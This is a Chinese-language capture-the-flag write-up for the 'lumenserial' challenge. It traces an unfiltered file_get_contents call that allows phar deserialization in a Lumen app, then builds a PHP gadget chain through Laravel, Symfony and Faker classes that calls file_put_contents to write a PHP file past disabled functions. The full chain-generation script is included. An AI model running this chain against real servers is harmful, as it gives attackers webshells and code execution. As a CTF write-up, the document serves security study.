Code Breaking 挑战赛 -- lumenserial

不畏将来,不念过往。如此,安好!

Someone famous 丰子恺

嘿嘿,在Code Breaking 开始的时候,太忙。就把最后 php 和 js 的两道题目的源码下了下来,js的题目有幸看完。关于最后的lumenserial 这道题目,今天上午花了一上午弄完, 发现与表哥们的writeup里面攻击链有些不同的一种方法,随便记录一下

因为没有了环境,根据表哥们的writeup 叙述,大概可以得到环境大概这样

php 7.2.12

disable_function : system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mai


拿到源码,第一眼先看router

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

index 是 ueditor 的编辑器界面,上面两个router 应该是关键之处 ,跟进 EditorController 看看

protected function doUploadImage(Request $request)
{
//...
}

protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];

if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}
//...
}

protected function doListImage(Request $request)
{
//...
}

private function download($url) {
//...
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
//...
}

普通的图片上传,还有一个doCatchimage 提供远程下载图片的函数,进入 download函数,直接从input 中拿到$url

, 中间过程没有任何过滤 file_get_contents($url); 很明显了 可以用 phar:// 试试了 ,就需要一条好的攻击链子

其实有很多RCE的,比如monolog/rce1在里面就可以用(monolog1.23),可以用phpinfo找绝对路径,但都是单参数执行,且前面也说了基本所有RCE的函数都禁了,所以需要getshell,得找到file_put_contents 的双参数执行。目的很明显 我需要 call_user_func_array('file_put_contents',[])


第一步 寻找__wakeup 或者 __destruct

在phpggc 里面 基本所有的Laravel/RCE 都是 走的 

\Illuminate\Broadcasting\PendingBroadcast::__destruct()

public function __destruct()
{
$this->events->dispatch($this->event);
}

$this->event 单参数,这个时候有两条路,$this->events可控 走 带__call的小配件,走 带 dispatch() 方法的小配件

在寻找__call过程中,基本都是单参数 , 但是 其中一个带 __call的小配件很完美。

\Faker\Generator::__call

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

$formatter 提供可用的带键值 普通函数 , $provider 提供实例的方法。这个配件可以作为我们的最后一步

我们可以找到 $this->a->f($q,$p) 形式的倒数第二步 , $this->a可控,f 对应 $formatter['f']可控,$q,$p 也必须可控。

即对应

["f"=>"file_put_contents"]  $q="/root/Downloads/lumenserial/html/1.php"  $p = ""


下面回到第二步

既然__call 走不了,找一找dispatch方法的小配件

Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher::dispatch

public function dispatch($eventName, Event $event = null)
{
if (null === $event) {
$event = new Event();
}

if (null !== $this->logger && $event->isPropagationStopped()) {
$this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
}

$this->preProcess($eventName);
//...
}

跟进$this->preProcess($eventName)

private function preProcess($eventName)
{
if (!$this->dispatcher->hasListeners($eventName)) {
$this->orphanedEvents[] = $eventName;

return;
}

foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}
}

是不是发现正好有我们需要的形式 $this->a->f($q,$p) 

$this->dispatcher->removeListener($eventName, $listener);

离我们的目标已经很近了 a可控 , f 也可控 ,$q 可控,$p未知, 当然前提是能执行到这一行

下面仔细分析如何成功进入foreach

第一个if 必须返回true

$this->dispatcher->hasListeners($eventName)

$formatter['hasListeners'] = "is_string"

is_string($eventName) //return 1;


绕之,接下来


foreach ($this->dispatcher->getListeners($eventName) as $listener) {}

怎么进去foreach,仅仅用$formatter 无法达到目的,无法返回带有我们phpcode的数组,别忘了我们还有$provider 可以提供实例方法,这时候需要找一个带 getListeners 的小配件,恰好有那么一个

Illuminate\Events\Dispatcher::getListeners 

public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

$listeners = array_merge($this->listeners[$eventName],$this->wildcardsCache[$eventName])

$listeners 完全可控 , class_exists 判断 当然不存在  "/root/Downloads/lumenserial/html/1.php" 这样一个类,返回带phpcode的数组


成功进入foreach,现在我需要保证的是在执行 this->dispatcher->removeListener($eventName, $listener); 前保证代码不出错,成功执行到这一行

foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}

跟进 $this->getListenerPriority($eventName, $listener);

public function getListenerPriority($eventName, $listener)
{
// we might have wrapped listeners for the event (if called while dispatching)
// in that case get the priority by wrapper
if (isset($this->wrappedListeners[$eventName])) {
foreach ($this->wrappedListeners[$eventName] as $index => $wrappedListener) {
if ($wrappedListener->getWrappedListener() === $listener) {
return $this->dispatcher->getListenerPriority($eventName, $wrappedListener);
}
}
}

return $this->dispatcher->getListenerPriority($eventName, $listener);
}


惊喜 return $this->dispatcher->getListenerPriority($eventName, $listener); 看来不用往后面执行了,这里就有一个现成的。保证 最后return 返回,即不设置 $this->wrappedListeners[$eventName] 即可。

现在 f  $q $p 都完全可控。:——)

整个链精髓在于带 __call的最后这个小配件,相当于与一个反过来的invoker ,保存的不是函数执行时需要的参数,而是函数本身,还提供实例方法函数 

整个chain 如下

<?php 
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Symfony\Component\EventDispatcher\Debug
{
interface TraceableEventDispatcherInterface{}

class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
private $dispatcher;

public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
}

namespace Illuminate\Contracts\Events
{

interface Dispatcher{}

}



namespace Illuminate\Events
{
use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;

class Dispatcher implements DispatcherContract{

protected $listeners = [];
protected $wildcardsCache = [];

public function __construct($listeners,$wildcardsCache){

$this->listeners["/root/Downloads/lumenserial/html/1.php"] = $listeners;

$this->wildcardsCache["/root/Downloads/lumenserial/html/1.php"] = $wildcardsCache;
}
}
}

namespace Faker
{
class Generator
{
protected $formatters;
protected $providers;

public function __construct($formatters , $providers)
{
$this->formatters = $formatters;
$this->providers = $providers;
}
}
}

namespace maple\aaa{

$a_ = new \Illuminate\Events\Dispatcher(array('<?php phpinfo();'),[]);

$a = new \Faker\Generator(["hasListeners" => "is_string","removeListener" => "file_put_contents","getListenerPriority"=>"file_put_contents"],[$a_]);

$b = new \Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($a);

$c = new \Illuminate\Broadcasting\PendingBroadcast($b , "/root/Downloads/lumenserial/html/1.php");


file_put_contents("2.php",serialize($c));

}

?>


最后,在本地测试时,echo serialize() 时,复制输出或者 php chain.php > 1 时 会出错。 甚至php chain.php > 1 显示被截断。因为里面有\00 存在,在序列化

protected 参数时 , 参数名前缀有 \x00\2A\x00 \2A=*

private 参数时 , 参数名前缀为  \x00类名\x00


永远不说放弃,努力努力在努力,终会如愿以偿!????